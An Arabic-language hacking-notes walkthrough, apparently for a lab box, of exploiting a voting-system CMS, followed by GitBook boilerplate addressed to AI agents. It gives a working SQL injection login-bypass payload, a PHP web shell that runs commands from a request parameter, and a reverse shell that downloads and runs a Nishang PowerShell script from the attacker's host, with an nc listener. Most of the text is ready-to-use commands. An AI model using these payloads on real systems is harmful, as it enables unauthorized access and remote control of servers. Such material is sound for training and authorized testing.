> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/cms/voting-system-cms-exploitation.md).

# نظام التصويت

## **ثغرة حقن SQL (SQLi)**

استخدم `searchsploit` للبحث عن ثغرات نظام التصويت وتحديد الحمولة التالية:

<figure><img src="/files/d7d8a1b7e56f8ee99629228034726706f3d19b07" alt=""><figcaption></figcaption></figure>

<div data-full-width="true"><figure><img src="/files/088fca40f3fb12ef61a10e5b1baeb6d687546e23" alt=""><figcaption></figcaption></figure></div>

`login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -`

استخدم Burp Suite للوصول إلى لوحة التحكم.

<figure><img src="/files/15622691e71b797aacc9d2b18b22ace3ddcc9874" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/811531f1b181b2803d4b6fdfa3fcb331ecb12543" alt=""><figcaption></figcaption></figure>

## ثغرة رفع الملفات:

بمجرد الدخول إلى لوحة التحكم، أنشئ مستخدمًا جديدًا وارفع `cmd.php` لتنفيذ الأوامر على الخادم:

<figure><img src="/files/bb3ffc9c1663eebdefa7ab1491e3cdbd6a04c2db" alt=""><figcaption></figcaption></figure>

```bash
<?php
echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>
```

<figure><img src="/files/f7e1be808aa8abbb8b327fc055e2c6dff12a0320" alt="" width="482"><figcaption></figcaption></figure>

لا تفرض اللوحة عمليات التحقق الأمنية، مما يسمح بحقن الأوامر مثل `whoami`. اختبر الاتصال باستخدام أمر ping:

<figure><img src="/files/6e17f8c96d3c3a0d3113ab2cbba5b8bc888fd1fa" alt=""><figcaption></figcaption></figure>

اختبر ما إذا كان الهدف يستطيع إرسال ping.

<pre class="language-bash"><code class="lang-bash">ping 10.10.14.10
<strong>tcpdump -i tun0 icmp
</strong></code></pre>

يؤكد تلقي رد تنفيذ الأمر على الهدف.

<figure><img src="/files/3e01d21277191cd14b47b7714fe1f78e858a8f87" alt="" width="563"><figcaption></figcaption></figure>

**تنفيذ أوامر PowerShell لعمل reverse shell**

بمجرد تأكيد تنفيذ الأوامر، استضف `PS.ps1` البرنامج النصي على جهاز المهاجم.

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

أضف السطر التالي في نهاية البرنامج النصي:

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 4444
```

<figure><img src="/files/5ce881a41d7845cc9b2b590520fcf783ef8d0140" alt=""><figcaption></figcaption></figure>

Host `PS.ps1` باستخدام خادم ويب:

```bash
python3 -m http.server 80
```

ثم عدّل الأمر ليشير إلى خادم الويب الخاص بالمهاجم:

{% code overflow="wrap" %}

```bash
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.10/PS.ps1')"
```

{% endcode %}

أخيرًا، شغّل أداة استماع على المنفذ 4444:

```bash
rlwrap nc -nlvp 4444
```

<div data-full-width="true"><figure><img src="/files/d650dd96ab1288d1fe9e9add67db65c4eb19281b" alt=""><figcaption></figcaption></figure></div>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/cms/voting-system-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
